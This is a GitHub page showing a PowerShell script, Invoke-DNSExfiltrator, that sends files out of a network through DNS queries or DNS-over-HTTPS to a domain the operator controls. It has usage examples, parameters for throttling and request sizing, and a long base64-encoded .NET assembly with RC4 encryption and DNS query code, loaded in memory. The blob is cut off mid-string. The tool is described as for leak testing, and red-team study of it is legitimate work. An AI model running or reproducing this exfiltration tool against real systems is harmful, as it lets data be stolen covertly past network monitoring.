-
Notifications
You must be signed in to change notification settings - Fork 181
/
Copy pathInvoke-DNSExfiltrator.ps1
112 lines (89 loc) · 31 KB
/
Invoke-DNSExfiltrator.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
function Invoke-DNSExfiltrator
{
<#
.AUTHOR Arno0x0x, Twitter: @Arno0x0x
.SYNOPSIS
Invoke-DNSExfiltrator allows for transfering (exfiltrate) a file over a DNS request covert channel.
This is basically a data leak testing tool allowing to exfiltrate some data over a covert channel.
It requires the server side counterpart coded in Python: dnsexfiltrator.py.
.EXAMPLE
# Using the system's default DNS server, without any option
PS C:\> Invoke-DNSExfiltrator -i anyFile -d mydomain.com -p password
# Using a specific DNS server
PS C:\> Invoke-DNSExfiltrator -i anyFile -d mydomain.com -p password -s 192.168.52.134
# Using a specific DNS server, with throttling at 500ms
PS C:\> Invoke-DNSExfiltrator -i anyFile -d mydomain.com -p password -s 192.168.52.134 -t 500
# Limiting the DNS request size to a maximum of 150 bytes
PS C:\> Invoke-DNSExfiltrator -i anyFile -d mydomain.com -p password -r 150
# Limiting the label size to a maximum of 40 characters
PS C:\> Invoke-DNSExfiltrator -i anyFile -d mydomain.com -p password -l 40
# Using Google DoH (DNS over HTTP), without any option
PS C:\> Invoke-DNSExfiltrator -i anyFile -d mydomain.com -p password -h google
#>
[CmdletBinding()]
Param (
[Parameter(Mandatory = $True)]
[Alias('i')]
[ValidateNotNullOrEmpty()]
[String]$InputFile,
[Parameter(Mandatory = $True)]
[Alias('d')]
[ValidateNotNullOrEmpty()]
[String]$DomainName,
[Parameter(Mandatory = $True)]
[Alias('p')]
[ValidateNotNullOrEmpty()]
[String]$Password,
[Parameter(Mandatory = $False)]
[Alias('b32')]
[switch]$UseBase32,
[Parameter(Mandatory = $False)]
[Alias('h')]
[ValidateSet("google","cloudflare")]
[String]$DoHProvider,
[Parameter(Mandatory = $False)]
[Alias('s')]
[ValidateNotNullOrEmpty()]
[String]$DNSServer,
[Parameter(Mandatory = $False)]
[Alias('t')]
[ValidateNotNullOrEmpty()]
[int]$ThrottleTime,
[Parameter(Mandatory = $False)]
[Alias('r')]
[ValidateNotNullOrEmpty()]
[int]$RequestMaxSize,
[Parameter(Mandatory = $False)]
[Alias('l')]
[ValidateNotNullOrEmpty()]
[int]$LabelMaxSize
)
# Load the DNSExfiltrator assembly
$DNSExfiltratorLib = [System.Convert]::FromBase64String("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vwkAcBaNAQAAASgZAAAKKAMAAAYAKAIAAAYAOFgEAAAAKxwCEQ2acvsJAHAoGgAAChb+ARMgESAtBQAXEwQAEQ0XWBMNABENAo5p/gQTIBEgOp39//8AcgUKAHAGKBMAAAooAwAABgBzGwAAChMPABEPFxdzHAAAChMQABEQCW8dAAAKExEREW8eAAAKExIREnMfAAAKExMAERMGKCAAAApvIQAACgAA3hQRExT+ARMgESAtCBETbyIAAAoA3ADeFBESFP4BEyARIC0IERJvIgAACgDcAADeFBEQFP4BEyARIC0IERBvIgAACgDcABEPFmoWbyMAAAomcmMKAHAIKBMAAAooAwAABgARBBb+ARMgESAtLQBywwoAcCgDAAAGACgkAAAKCG8lAAAKEQ9vJgAACigIAAAGKAUAAAYTCQArKwByBwsAcCgDAAAGACgkAAAKCG8lAAAKEQ9vJgAACigIAAAGKAQAAAYTCQByUQsAcBEJbycAAAqMFQAAASgTAAAKKAMAAAYAAN4UEQ8U/gETIBEgLQgRD28iAAAKANwAEQsfClkHbycAAAoYWFkTFBEUEQwXWFsTFREUEQwXWF0XWRMWERURDFoRFlgTFxEJbycAAAoRF1sXWBMYcr0LAHARF4wVAAABKBMAAAooAwAABgByVAwAcBEYjBUAAAEoEwAACigDAAAGABEEFv4BEyARIC03AHKMDABwKCQAAApymAwAcAkRGIwVAAABKCgAAApvJQAACigFAAAGcqgMAHAHKCkAAAoTCgArNQByjAwAcCgkAAAKcpgMAHAJERiMFQAAASgoAAAKbyUAAAooBQAABnK6DABwBygpAAAKEwoAcswMAHAoAwAABgB+DQAAChMZABEFFv4BEyARIC0PABEGEQooLQAABhMZACsNABEKEQcoMgAABhMZABEZcgINAHAoKgAAChb+ARMgESAtIwByCA0AcBEZFm8rAAAKjBIAAAEoEwAACigDAAAGAN2EAQAAAN4fExoAcn4NAHARGm8sAAAKKBMAAAooAwAABgDdYgEAAAByzg0AcCgDAAAGAH4NAAAKExsWExwWEw04JQEAAAARCRENERcRCW8nAAAKEQ1ZKC0AAApvLgAAChMbERtvJwAAChMeEhwoLwAACnL2DQBwKDAAAAoTChYTHysxABEKERsRHxEMWhEMER4RHxEM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CACUABIBCACYABcBCACcABwBCACgACEBEgChAO8ACACkACYBCACoACsBCACsADABCACwADUBCAC0ADoBCAC4AD8BCAC8AEQBCADAAEkBCADEAE4BCADIAFMBCADMAFgBCADUAPQACADYAPkACADcAGEBCADgAP4ACADkAGYBCADoAGsBCADsAHABCADwAAMBCAD0AHUBCAD4AHoBCAD8AH8BCAAAAYQBCAAEAYkBCAAIAY4BCAAMAZMBCAAQAQgBCAAUAQgBCAAYAZgBCAAcAZ0BCAAgAaIBCAAkAacBCAAoAawBCAAsAbEBCAAwAbYBCAA0AbsBCAA4AcABCAA8AcUBCABAAcoBCABEAc8BCABIAdQBCABMAdkBCABQAd4BCABUAQ0BCABYAeMBCABcAegBCABgAe0BCABkAfIBCABoAfcBCABsAfwBCABwAQECCAB0AQYCCAB4AQsCCAB8ARACCACAARUCCACEARoCCACIAR8CCACMASQCCACQASkCCACUAS4CCACYATMCCACcATgCCACgAT0CCACkAUICCACoAUcCCACsAUwCCACwAVECCAC0AVYCCAC4AVsCCAC8AWACCADAAWACCADEAWUCCADIAWoCCADMAWoCCADQAQMBCADUAWYBDgDYAW8CIQCjAPQAJwDLAvQALgAbADYFLgAjAD8FQQCjAPQAQwArAL4CYQCjAPQAgQCjAPQAoQCjAPQAwQCjAPQA4QCjAPQAAQGjAPQAIQGjAPQAQQGjAPQAYQGjAPQAYwGrAvQAgQGjAPQAoAGjAPQAoQGjAPQAwAGjAPQAwQGjAPQAwwGjAPQA4AGjAPQA4QGjAPQAAAKjAPQAAwKjAPQAIAKjAPQAYAKjAPQAgAKjAPQAoAKjAPQAwAKjAPQA4AKjAPQAAAOjAPQAIAOjAPQAQAOjAPQAgAOjAPQAoAOjAPQAwAOjAPQA4AOjAPQAAASjAPQAIASjAPQAQASjAPQAYASjAPQAgASjAPQAoASjAPQAwASjAPQA4ASjAPQAAAWjAPQAIAWjAPQAQAWjAPQAYAWjAPQAJgAeBT8AtgIIAAYAXgUBABAAAAAPANoC5ALwAp8D3gPxAysESwRVBFkEXQRmBLAEBAUpBQQAAQAFAAMABgAHAAAAqwFiAAAAsAFmAAAAqwFiAAAAsAFmAAAAAgJmAAAABgJiAAAATANmAAAAUwOsAAAAVgOsAAAAWQOsAAAAXAOsAAAAXwOsAAAANwCwAAAAQAC5AAIADgADAAEADwADAAIAEAAFAAEAEQAFAAEAFAAHAAIAEwAHAAIAFQAJAAEAFgAJAAIAFwALAAEAGAALAAIAGQANAAEAGgANAAEAHQAPAAIAHAAPAAIAHgARAAEAHwARAAIAIAATAAEAIQATAAIAIgAVAAEAIwAVAAIAJAAXAAEAJQAXAAIAJgAZAAEAJwAZAAIAKAAbAAEAKQAbAAIAKgAdAAEAKwAdAEcQ/wM+BKMERQFhAE4QAQBGAWMAlgMBABAiAAB3AASAAAAAAAAAAAAAAAAAAAAAAC0LAAAEAAAAAAAAAAAAAAABAKIAAAAAAAQAAAAAAAAAAAAAAAEA7wwAAAAABAAAAAAAAAAAAAAAAQBDDQAAAAAEAAAAAAAAAAAAAAABAKsAAAAAAAQAAAAAAAAAAAAAAI4Eww8AAAAACQAIAAoACAALAAgADAAIAA8ADgAQAAMALQAeA2cA2gNtACYEbQBGBH8AngQAAAA8TW9kdWxlPgBkbnNFeGZpbHRyYXRvci5kbGwARE5TRXhmaWx0cmF0b3IAUkM0RW5jcnlwdABRdWVzdGlvbgBBbnN3ZXIAUmVzcG9uc2UARE9IUmVzb2x2ZXIARG5zUmVzb2x2ZXIASVA0X0FSUkFZAFRYVFJlY29yZABEbnNRdWVyeU9wdGlvbnMARG5zUmVjb3JkVHlwZXMAQmFzZTMyAG1zY29ybGliAFN5c3RlbQBPYmplY3QAVmFsdWVUeXBlAEVudW0ALmN0b3IAUHJpbnRVc2FnZQBQcmludENvbG9yAFRvQmFzZTY0VVJMAFRvQmFzZTMyAEdvRmlnaHQATWFpbgBFbmNyeXB0AEVuY3J5cHRJbml0YWxpemUAU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMASUVudW1lcmFibGVgMQBFbmNyeXB0T3V0cHV0AFN3YXAAZ2V0X25hbWUAc2V0X25hbWUAZ2V0X3R5cGUAc2V0X3R5cGUAPG5hbWU+a19fQmFja2luZ0ZpZWxkADx0eXBlPmtfX0JhY2tpbmdGaWVsZABuYW1lAHR5cGUAZ2V0X1RUTABzZXRfVFRMAGdldF9kYXRhAHNldF9kYXRhADxUVEw+a19fQmFja2luZ0ZpZWxkADxkYXRhPmtfX0JhY2tpbmdGaWVsZABUVEwAZGF0YQBnZXRfU3RhdHVzAHNldF9TdGF0dXMAZ2V0X1RDAHNldF9UQwBnZXRfUkQAc2V0X1JEAGdldF9SQQBzZXRfUkEAZ2V0X0FEAHNldF9BRABnZXRfQ0QAc2V0X0NEAExpc3RgMQBnZXRfUXVlc3Rpb24Ac2V0X1F1ZXN0aW9uAGdldF9BbnN3ZXIAc2V0X0Fuc3dlcgA8U3RhdHVzPmtfX0JhY2tpbmdGaWVsZAA8VEM+a19fQmFja2luZ0ZpZWxkADxSRD5rX19CYWNraW5nRmllbGQAPFJBPmtfX0JhY2tpbmdGaWVsZAA8QUQ+a19fQmFja2luZ0ZpZWxkADxDRD5rX19CYWNraW5nRmllbGQAPFF1ZXN0aW9uPmtfX0JhY2tpbmdGaWVsZAA8QW5zd2VyPmtfX0JhY2tpbmdGaWVsZABTdGF0dXMAVEMAUkQAUkEAQUQAQ0QAZ29vZ2xlRE9IVVJJAGNsb3VkZmxhcmVET0hVUkkAR2V0VFhUUmVjb3JkAERuc1F1ZXJ5AERuc1JlY29yZExpc3RGcmVlAEFkZHJDb3VudABBZGRyQXJyYXkAcE5leHQAcE5hbWUAd1R5cGUAd0RhdGFMZW5ndGgAZmxhZ3MAZHdUdGwAZHdSZXNlcnZlZABkd1N0cmluZ0NvdW50AHBTdHJpbmdBcnJheQB2YWx1ZV9fAEROU19RVUVSWV9TVEFOREFSRABETlNfUVVFUllfQUNDRVBUX1RSVU5DQVRFRF9SRVNQT05TRQBETlNfUVVFUllfVVNFX1RDUF9PTkxZAEROU19RVUVSWV9OT19SRUNVUlNJT04ARE5TX1FVRVJZX0JZUEFTU19DQUNIRQBETlNfUVVFUllfTk9fV0lSRV9RVUVSWQBETlNfUVVFUllfTk9fTE9DQUxfTkFNRQBETlNfUVVFUllfTk9fSE9TVFNfRklMRQBETlNfUVVFUllfTk9fTkVUQlQARE5TX1FVRVJZX1dJUkVfT05MWQBETlNfUVVFUllfUkVUVVJOX01FU1NBR0UARE5TX1FVRVJZX01VTFRJQ0FTVF9PTkxZAEROU19RVUVSWV9OT19NVUxUSUNBU1QARE5TX1FVRVJZX1RSRUFUX0FTX0ZRRE4ARE5TX1FVRVJZX0FERFJDT05GSUcARE5TX1FVRVJZX0RVQUxfQUREUgBETlNfUVVFUllfTVVMVElDQVNUX1dBSVQARE5TX1FVRVJZX01VTFRJQ0FTVF9WRVJJRlkARE5TX1FVRVJZX0RPTlRfUkVTRVRfVFRMX1ZBTFVFUwBETlNfUVVFUllfRElTQUJMRV9JRE5fRU5DT0RJTkcARE5TX1FVRVJZX0FQUEVORF9